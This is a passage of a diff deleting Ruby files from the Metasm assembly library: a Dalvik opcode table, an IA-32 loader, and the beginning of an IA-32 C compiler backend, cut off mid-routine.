+++ /dev/null @@ -1,374 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# the Dalvik binary format, aka android java backend bytecode -# this file was generated using the android source tree, as reference, -# specifically dalvik/libdex/InstrUtils.c - -# the binary opcode format is 16 bit word-based -# the opcode number is in the low-order byte, and determines the -# argument format, which may take up to 4 other words - -require 'metasm/cpu/dalvik/main' - -module Metasm -class Dalvik - OPCODES = %w[nop move move_from16 move_16 move_wide move_wide_from16 -move_wide_16 move_object move_object_from16 move_object_16 move_result -move_result_wide move_result_object move_exception -return_void return return_wide return_object -const_4 const_16 const const_high16 const_wide_16 const_wide_32 -const_wide const_wide_high16 const_string const_string_jumbo const_class -monitor_enter monitor_exit check_cast instance_of array_length -new_instance new_array filled_new_array filled_new_array_range fill_array_data -throw goto goto_16 goto_32 packed_switch sparse_switch -cmpl_float cmpg_float cmpl_double cmpg_double cmp_long -if_eq if_ne if_lt if_ge if_gt if_le if_eqz if_nez if_ltz if_gez if_gtz if_lez -unused_3e unused_3f unused_40 unused_41 unused_42 unused_43 -aget aget_wide aget_object aget_boolean aget_byte aget_char aget_short -aput aput_wide aput_object aput_boolean aput_byte aput_char aput_short -iget iget_wide iget_object iget_boolean iget_byte iget_char iget_short -iput iput_wide iput_object iput_boolean iput_byte iput_char iput_short -sget sget_wide sget_object sget_boolean sget_byte sget_char sget_short -sput sput_wide sput_object sput_boolean sput_byte sput_char sput_short -invoke_virtual invoke_super invoke_direct invoke_static invoke_interface -unused_73 -invoke_virtual_range invoke_super_range invoke_direct_range invoke_static_range invoke_interface_range -unused_79 unused_7a -neg_int not_int neg_long not_long neg_float neg_double -int_to_long int_to_float int_to_double long_to_int long_to_float long_to_double -float_to_int float_to_long float_to_double double_to_int double_to_long -double_to_float int_to_byte int_to_char int_to_short -add_int sub_int mul_int div_int rem_int and_int or_int xor_int shl_int shr_int ushr_int -add_long sub_long mul_long div_long rem_long and_long or_long xor_long shl_long shr_long ushr_long -add_float sub_float mul_float div_float rem_float -add_double sub_double mul_double div_double rem_double -add_int_2addr sub_int_2addr mul_int_2addr div_int_2addr rem_int_2addr -and_int_2addr or_int_2addr xor_int_2addr shl_int_2addr shr_int_2addr ushr_int_2addr -add_long_2addr sub_long_2addr mul_long_2addr div_long_2addr rem_long_2addr -and_long_2addr or_long_2addr xor_long_2addr shl_long_2addr shr_long_2addr ushr_long_2addr -add_float_2addr sub_float_2addr mul_float_2addr div_float_2addr rem_float_2addr -add_double_2addr sub_double_2addr mul_double_2addr div_double_2addr rem_double_2addr -add_int_lit16 rsub_int mul_int_lit16 div_int_lit16 rem_int_lit16 and_int_lit16 or_int_lit16 xor_int_lit16 -add_int_lit8 rsub_int_lit8 mul_int_lit8 div_int_lit8 rem_int_lit8 and_int_lit8 or_int_lit8 xor_int_lit8 -shl_int_lit8 shr_int_lit8 ushr_int_lit8 -unused_e3 unused_e4 unused_e5 unused_e6 unused_e7 unused_e8 unused_e9 unused_ea unused_eb unused_ec -throw_verification_error execute_inline unused_ef invoke_direct_empty unused_f1 -iget_quick iget_wide_quick iget_object_quick iput_quick iput_wide_quick iput_object_quick -invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_quick_range -unused_fc unused_fd unused_fe unused_ff] - - def init_dalvik - @valid_props[:canthrow] = true - [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64, - :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, - :m16, :fld16, :typ16, :str16 - ].each { |a| @valid_args[a] = true } - @opcode_list = [] - - OPCODES.each_with_index { |n, b| - op = Opcode.new(n, b) - addop_args(op) - addop_props(op) - @opcode_list << op - } - - raise "Internal error #{@opcode_list.length}" if @opcode_list.length != 256 - end - alias init_latest init_dalvik - - def addop_args(op) - fmt = case op.name - when 'goto' - :fmt10t - when 'nop', 'return_void' - :fmt10x - when 'const_4' - :fmt11n - when 'const_high16' - :fmt21h - when 'const_wide_high16' - :fmt21hh - when 'move_result', 'move_result_wide', 'move_result_object', - 'move_exception', 'return', 'return_wide', - 'return_object', 'monitor_enter', 'monitor_exit', - 'throw' - :fmt11x - when 'move', 'move_wide', 'move_object', 'array_length', - 'neg_int', 'not_int', 'neg_long', 'not_long', - 'neg_float', 'neg_double', 'int_to_long', - 'int_to_float', 'int_to_double', 'long_to_int', - 'long_to_float', 'long_to_double', 'float_to_int', - 'float_to_long', 'float_to_double', 'double_to_int', - 'double_to_long', 'double_to_float', 'int_to_byte', - 'int_to_char', 'int_to_short', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'div_int_2addr', - 'rem_int_2addr', 'and_int_2addr', 'or_int_2addr', - 'xor_int_2addr', 'shl_int_2addr', 'shr_int_2addr', - 'ushr_int_2addr', 'add_long_2addr', 'sub_long_2addr', - 'mul_long_2addr', 'div_long_2addr', 'rem_long_2addr', - 'and_long_2addr', 'or_long_2addr', 'xor_long_2addr', - 'shl_long_2addr', 'shr_long_2addr', 'ushr_long_2addr', - 'add_float_2addr', 'sub_float_2addr', 'mul_float_2addr', - 'div_float_2addr', 'rem_float_2addr', - 'add_double_2addr', 'sub_double_2addr', - 'mul_double_2addr', 'div_double_2addr', - 'rem_double_2addr' - :fmt12x - when 'goto_16' - :fmt20t - when 'goto_32' - :fmt30t - when 'const_string' - :fmt21c_str - when 'const_class', 'check_cast', - 'new_instance' - :fmt21c_typ - when 'sget', 'sget_wide', 'sget_object', - 'sget_boolean', 'sget_byte', 'sget_char', 'sget_short', - 'sput', 'sput_wide', 'sput_object', 'sput_boolean', - 'sput_byte', 'sput_char', 'sput_short' - :fmt21c_fld - when 'const_16', 'const_wide_16' - :fmt21s - when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez' - :fmt21t - when 'fill_array_data', 'packed_switch', 'sparse_switch' - :fmt31t - when 'add_int_lit8', 'rsub_int_lit8', 'mul_int_lit8', - 'div_int_lit8', 'rem_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - :fmt22b - when 'instance_of', 'new_array', 'iget', 'iget_wide', - 'iget_object', 'iget_boolean', 'iget_byte', - 'iget_char', 'iget_short', 'iput', 'iput_wide', - 'iput_object', 'iput_boolean', 'iput_byte', - 'iput_char', 'iput_short' - :fmt22c - when 'add_int_lit16', 'rsub_int', 'mul_int_lit16', - 'div_int_lit16', 'rem_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16' - :fmt22s - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le' - :fmt22t - when 'move_from16', 'move_wide_from16', 'move_object_from16' - :fmt22x - when 'cmpl_float', 'cmpg_float', 'cmpl_double', 'cmpg_double', - 'cmp_long', 'aget', 'aget_wide', 'aget_object', - 'aget_boolean', 'aget_byte', 'aget_char', 'aget_short', - 'aput', 'aput_wide', 'aput_object', 'aput_boolean', - 'aput_byte', 'aput_char', 'aput_short', 'add_int', - 'sub_int', 'mul_int', 'div_int', 'rem_int', 'and_int', - 'or_int', 'xor_int', 'shl_int', 'shr_int', 'ushr_int', - 'add_long', 'sub_long', 'mul_long', 'div_long', - 'rem_long', 'and_long', 'or_long', 'xor_long', - 'shl_long', 'shr_long', 'ushr_long', 'add_float', - 'sub_float', 'mul_float', 'div_float', 'rem_float', - 'add_double', 'sub_double', 'mul_double', 'div_double', - 'rem_double' - :fmt23x - when 'const', 'const_wide_32' - :fmt31i - when 'const_string_jumbo' - :fmt31c - when 'move_16', 'move_wide_16', 'move_object_16' - :fmt32x - when 'filled_new_array' - :fmt35ca - when 'invoke_virtual', 'invoke_super', - 'invoke_direct', 'invoke_static', 'invoke_interface' - :fmt35c - when 'filled_new_array_range', 'invoke_virtual_range', - 'invoke_super_range', 'invoke_direct_range', - 'invoke_static_range', 'invoke_interface_range' - :fmt3rc - when 'const_wide' - :fmt51l - when 'throw_verification_error' - :fmt20bc - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - :fmt22cs - when 'invoke_virtual_quick', 'invoke_super_quick' - :fmt35ms - when 'invoke_virtual_quick_range', 'invoke_super_quick_range' - :fmt3rms - when 'execute_inline' - :fmt3inline - when 'invoke_direct_empty' - :fmt35c - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - :fmtUnknown - else - raise "Internal error #{op.name}" - end - - case fmt - when :fmt10x; op.args << :iaa - when :fmt12x; op.args << :ra << :rb - when :fmt11n; op.args << :ra << :ib - when :fmt11x; op.args << :raa - when :fmt10t; op.args << :iaa - when :fmt20t; op.args << :i16 - when :fmt20bc; op.args << :iaa << :u16 - when :fmt21c_str; op.args << :raa << :str16 - when :fmt21c_typ; op.args << :raa << :typ16 - when :fmt21c_fld; op.args << :raa << :fld16 - when :fmt22x; op.args << :raa << :r16 - when :fmt21s, :fmt21t; op.args << :raa << :i16 - when :fmt21h; op.args << :raa << :i16_32hi - when :fmt21hh; op.args << :raa << :i16_64hi - when :fmt23x; op.args << :raa << :rbb << :rcc - when :fmt22b; op.args << :raa << :rbb << :icc - when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16 - when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16 - when :fmt30t; op.args << :i32 - when :fmt31t, :fmt31c; op.args << :raa << :u32 - when :fmt32x; op.args << :r16 << :r16 - when :fmt31i; op.args << :raa << :i32 - when :fmt35ca - op.args << :r16 << :rlist5 - when :fmt35c, :fmt35ms - # rlist: - # nr of regs in :ib (max 5) - # regs: :ib.times { reg :i16 & 0xf ; :i16 >>= 4 } - # reg :ra if :ib == 5 - op.args << :m16 << :rlist5 - when :fmt3inline - op.args << :r16 << :rlist4 - when :fmt3rc, :fmt3rms - # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1 - op.args << :r16 << :rlist16 - when :fmt51l - # u64 = u16 | (u16 << 16) | ... - op.args << :raa << :u64 - when :fmtUnknown - op.args << :iaa - else - raise "Internal error #{fmt.inspect}" - end - end - - def addop_props(op) - case op.name - when 'nop', 'move', 'move_from16', 'move_16', 'move_wide', - 'move_wide_from16', 'move_wide_16', 'move_object', - 'move_object_from16', 'move_object_16', 'move_result', - 'move_result_wide', 'move_result_object', - 'move_exception', 'const_4', 'const_16', 'const', - 'const_high16', 'const_wide_16', 'const_wide_32', - 'const_wide', 'const_wide_high16', 'fill_array_data', - 'cmpl_float', 'cmpg_float', 'cmpl_double', - 'cmpg_double', 'cmp_long', 'neg_int', 'not_int', - 'neg_long', 'not_long', 'neg_float', 'neg_double', - 'int_to_long', 'int_to_float', 'int_to_double', - 'long_to_int', 'long_to_float', 'long_to_double', - 'float_to_int', 'float_to_long', 'float_to_double', - 'double_to_int', 'double_to_long', 'double_to_float', - 'int_to_byte', 'int_to_char', 'int_to_short', 'add_int', - 'sub_int', 'mul_int', 'and_int', 'or_int', 'xor_int', - 'shl_int', 'shr_int', 'ushr_int', 'add_long', - 'sub_long', 'mul_long', 'and_long', 'or_long', - 'xor_long', 'shl_long', 'shr_long', 'ushr_long', - 'add_float', 'sub_float', 'mul_float', 'div_float', - 'rem_float', 'add_double', 'sub_double', 'mul_double', - 'div_double', 'rem_double', 'add_int_2addr', - 'sub_int_2addr', 'mul_int_2addr', 'and_int_2addr', - 'or_int_2addr', 'xor_int_2addr', 'shl_int_2addr', - 'shr_int_2addr', 'ushr_int_2addr', 'add_long_2addr', - 'sub_long_2addr', 'mul_long_2addr', 'and_long_2addr', - 'or_long_2addr', 'xor_long_2addr', 'shl_long_2addr', - 'shr_long_2addr', 'ushr_long_2addr', 'add_float_2addr', - 'sub_float_2addr', 'mul_float_2addr', 'div_float_2addr', - 'rem_float_2addr', 'add_double_2addr', - 'sub_double_2addr', 'mul_double_2addr', - 'div_double_2addr', 'rem_double_2addr', 'add_int_lit16', - 'rsub_int', 'mul_int_lit16', 'and_int_lit16', - 'or_int_lit16', 'xor_int_lit16', 'add_int_lit8', - 'rsub_int_lit8', 'mul_int_lit8', 'and_int_lit8', - 'or_int_lit8', 'xor_int_lit8', 'shl_int_lit8', - 'shr_int_lit8', 'ushr_int_lit8' - # normal opcode, continues to next, nothing raised - when 'const_string', 'const_string_jumbo', 'const_class', - 'monitor_enter', 'monitor_exit', 'check_cast', - 'instance_of', 'array_length', 'new_instance', - 'new_array', 'filled_new_array', - 'filled_new_array_range', 'aget', 'aget_boolean', - 'aget_byte', 'aget_char', 'aget_short', 'aget_wide', - 'aget_object', 'aput', 'aput_boolean', 'aput_byte', - 'aput_char', 'aput_short', 'aput_wide', 'aput_object', - 'iget', 'iget_boolean', 'iget_byte', 'iget_char', - 'iget_short', 'iget_wide', 'iget_object', 'iput', - 'iput_boolean', 'iput_byte', 'iput_char', 'iput_short', - 'iput_wide', 'iput_object', 'sget', 'sget_boolean', - 'sget_byte', 'sget_char', 'sget_short', 'sget_wide', - 'sget_object', 'sput', 'sput_boolean', 'sput_byte', - 'sput_char', 'sput_short', 'sput_wide', 'sput_object', - 'div_int', 'rem_int', 'div_long', 'rem_long', - 'div_int_2addr', 'rem_int_2addr', 'div_long_2addr', - 'rem_long_2addr', 'div_int_lit16', 'rem_int_lit16', - 'div_int_lit8', 'rem_int_lit8' - op.props[:canthrow] = true - when 'invoke_virtual', 'invoke_virtual_range', 'invoke_super', - 'invoke_super_range', 'invoke_direct', - 'invoke_direct_range', 'invoke_static', - 'invoke_static_range', 'invoke_interface', - 'invoke_interface_range' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'return_void', 'return', 'return_wide', 'return_object' - op.props[:setip] = true - op.props[:stopexec] = true - when 'throw' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'goto', 'goto_16', 'goto_32' - op.props[:setip] = true - op.props[:stopexec] = true - when 'if_eq', 'if_ne', 'if_lt', 'if_ge', 'if_gt', 'if_le', - 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', - 'if_lez' - op.props[:setip] = true - when 'packed_switch', 'sparse_switch' - op.props[:setip] = true # if no table match, nostopexec - op.props[:setip] = true - when 'throw_verification_error' - op.props[:canthrow] = true - op.props[:stopexec] = true - when 'execute_inline' - when 'iget_quick', 'iget_wide_quick', 'iget_object_quick', - 'iput_quick', 'iput_wide_quick', 'iput_object_quick' - op.props[:canthrow] = true - when 'invoke_virtual_quick', 'invoke_virtual_quick_range', - 'invoke_super_quick', 'invoke_super_quick_range', - 'invoke_direct_empty' - op.props[:canthrow] = true - op.props[:saveip] = true - op.props[:setip] = true - op.props[:stopexec] = true - when 'unused_3e', 'unused_3f', 'unused_40', 'unused_41', - 'unused_42', 'unused_43', 'unused_73', 'unused_79', - 'unused_7a', 'unused_e3', 'unused_e4', 'unused_e5', - 'unused_e6', 'unused_e7', 'unused_e8', 'unused_e9', - 'unused_ea', 'unused_eb', 'unused_ec', 'unused_ef', - 'unused_f1', 'unused_fc', 'unused_fd', 'unused_fe', - 'unused_ff' - op.props[:stopexec] = true - else - raise "Internal error #{op.name}" - end - end -end -end - diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb deleted file mode 100644 index 4bc42a2845..0000000000 --- a/lib/metasm/metasm/cpu/ia32.rb +++ /dev/null @@ -1,17 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# fix autorequire warning -class Metasm::Ia32 < Metasm::CPU -end - -require 'metasm/main' -require 'metasm/cpu/ia32/parse' -require 'metasm/cpu/ia32/encode' -require 'metasm/cpu/ia32/decode' -require 'metasm/cpu/ia32/render' -require 'metasm/cpu/ia32/compile_c' -require 'metasm/cpu/ia32/decompile' -require 'metasm/cpu/ia32/debug' diff --git a/lib/metasm/metasm/cpu/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb deleted file mode 100644 index dc7a6aaad9..0000000000 --- a/lib/metasm/metasm/cpu/ia32/compile_c.rb +++ /dev/null @@ -1,1521 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/ia32/parse' -require 'metasm/compile_c' - -module Metasm -class Ia32 -class CCompiler < C::Compiler - # holds compiler state information for a function - # registers are saved as register number (see Ia32::Reg) - # TODO cache eflags ? or just z ? (may be defered to asm_optimize) - class State - # variable => offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm/composite) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_ebp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # esp is always in use - @inuse = [] - @bound = {} - @abi_flushregs_call = [0, 1, 2] # eax, ecx, edx (r8 etc ?) - @abi_trashregs = [0, 1, 2] - end - end - - # tracks 2 registers storing a value bigger than each - class Composite - attr_accessor :low, :high - def initialize(low, high) - @low, @high = low, high - end - def sz; 64 end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#<Address: #@modrm>" end - end - - - def initialize(*a) - super(*a) - @cpusz = @exeformat.cpu.size - @regnummax = (@cpusz == 64 ? 15 : 7) - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - # TODO multipass for reg cache optimization - # TODO dynamic regval for later fixup (need a value to be in ecx for shl, etc) - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = ([*0..@regnummax] - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - when Composite; e.low.val == regval or e.high.val == regval - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.kind_of? Composite ? [r.low.val, r.high.val] : r.val }.flatten - exempt << 4 - exempt << 5 if @state.saved_ebp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - when Composite; val.low.val == regval or val.high.val == regval - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Composite; @state.used |= [v.low.val, v.high.val] - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_ebp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - if not reg = @state.cache.index('metasm_intern_geteip') - @need_geteip_stub = true - if @state.used.include? 6 # esi - reg = findreg - else - reg = getreg 6 - end - if reg.val != 0 - if @state.used.include? 0 - eax = Reg.new(0, @cpusz) - instr 'mov', reg, eax - else - eax = getreg 0 - end - end - - instr 'call', Expression['metasm_intern_geteip'] - - if reg.val != 0 - if @state.used.include? 0 - instr 'xchg', eax, reg - else - instr 'mov', reg, eax - end - end - - @state.cache[reg] = 'metasm_intern_geteip' - end - v = ModRM.new(@cpusz, sz, nil, nil, reg, Expression[var.name, :-, 'metasm_intern_geteip']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - # use rsz only to force 32bits-return on a 16bits cpu - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2l = inuse findreg(32) - unuse e - e2h = inuse findreg(32) - el, eh = get_composite_parts e - instr 'mov', e2l, el - instr 'mov', e2h, eh - e2 = inuse Composite.new(e2l, e2h) - unuse e2l, e2h - else - unuse e - n = type.integral? ? type.name : :ptr - if (sz = typesize[n]*8) < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - else - e2 = inuse findreg(sz) - op = 'mov' - end - instr op, e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'bad float static' + e.inspect if not e.kind_of? ModRM - unuse e - instr 'fld', e - FpReg.new nil - else raise - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - if type.integral? and type.name == :__int64 and @cpusz != 64 - e2 = inuse Composite.new(inuse(findreg(32)), findreg(32)) - instr 'mov', e2.low, Expression[e, :&, 0xffff_ffff] - instr 'mov', e2.high, Expression[e, :>>, 32] - else - e2 = inuse findreg - instr 'mov', e2, e - end - e2 - elsif type.float? - case e.reduce - when 0; instr 'fldz' - when 1; instr 'fld1' - else - esp = Reg.new(4, @cpusz) - instr 'push.i32', Expression[e, :>>, 32] - instr 'push.i32', Expression[e, :&, 0xffff_ffff] - instr 'fild', ModRM.new(@cpusz, 64, nil, nil, esp, nil) - instr 'add', esp, 8 - end - FpReg.new nil - end - else - e - end - end - - # returns two args corresponding to the low and high 32bits of the 64bits composite arg - def get_composite_parts(e) - case e - when ModRM - el = e.dup - el.sz = 32 - eh = el.dup - eh.imm = Expression[eh.imm, :+, 4] - when Expression - el = Expression[e, :&, 0xffff_ffff] - eh = Expression[e, :>>, 32] - when Composite - el = e.low - eh = e.high - when Reg - el = e - eh = findreg - else raise - end - [el, eh] - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an Ia32 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "ia32/c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - if r.kind_of? Composite - instr 'neg', r.low - instr 'adc', r.high, Expression[0] - instr 'neg', r.high - else - instr 'neg', r - end - elsif expr.type.float? - instr 'fchs' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.type.name == :__int64 and @cpusz != 64 - rl, rh = get_composite_parts r - instr 'add', rl, Expression[inc ? 1 : -1] - instr 'adc', rh, Expression[inc ? 0 : -1] - else - op = (inc ? 'inc' : 'dec') - instr op, r - end - elsif expr.type.float? - raise 'bad lvalue' if not r.kind_of? ModRM - instr 'fld1' - op = (inc ? 'faddp' : 'fsubp') - instr op, r - instr 'fstp', r - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) if not expr.rexpr.type.float? - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - if expr.type.integral? and expr.rexpr.type.name == :__int64 and @cpusz != 64 - raise # TODO - end - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - if @exeformat.cpu.opcode_list_byname['fucomip'] - instr 'fldz' - instr 'fucomip' - else - raise # TODO - end - r = inuse findreg - else raise 'bad comparison ' + expr.to_s - end - if @exeformat.cpu.opcode_list_byname['setz'] - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - else - instr 'mov', r, Expression[1] - label = new_label('setcc') - instr 'jz', Expression[label] - instr 'mov', r, Expression[0] - @source << Label.new(label) - end - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - esp = Reg.new(4, @cpusz) - if expr.type.float? and expr.rexpr.type.float? - if expr.type.name != expr.rexpr.type.name and r.kind_of? ModRM - instr 'fld', r - unuse r - r = FpReg.new nil - end - elsif expr.type.float? and expr.rexpr.type.integral? - r = resolve_address r if r.kind_of? Address - return make_volatile(r, expr.type) if r.kind_of? Expression - unuse r - if expr.rexpr.type.specifier == :unsigned and r.sz != 64 - instr 'push.i32', Expression[0] - end - case r - when ModRM - case expr.rexpr.type.name - when :__int8, :__int16 - r = make_volatile(r, expr.rexpr.type, 32) - instr 'push', r - else - if expr.rexpr.type.specifier != :unsigned - instr 'fild', r - return FpReg.new(nil) - end - if r.sz == 64 - get_composite_parts(r).reverse_each { |rp| instr 'push', rp } - else - instr 'push', r - end - end - when Composite - instr 'push', r.high - instr 'push', r.low - when Reg - if r.sz == 16 - op = ((expr.rexpr.type.specifier == :unsigned) ? 'movzx' : 'movsx') - rr = r.dup - rr.sz = 32 - instr op, rr, r - r = rr - end - instr 'push', r - end - m = ModRM.new(@cpusz, r.sz, nil, nil, esp, nil) - instr 'fild', m - instr 'add', esp, (expr.rexpr.type.specifier == :unsigned ? 8 : Expression[r.sz/8]) - if expr.rexpr.type.specifier == :unsigned and r.sz == 64 - label = new_label('unsign_float') - if m.sz == 64 and @cpusz < 64 - m = get_composite_parts(m)[1] - end - m2 = m - m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM - m2 = get_composite_parts(m2)[0] if 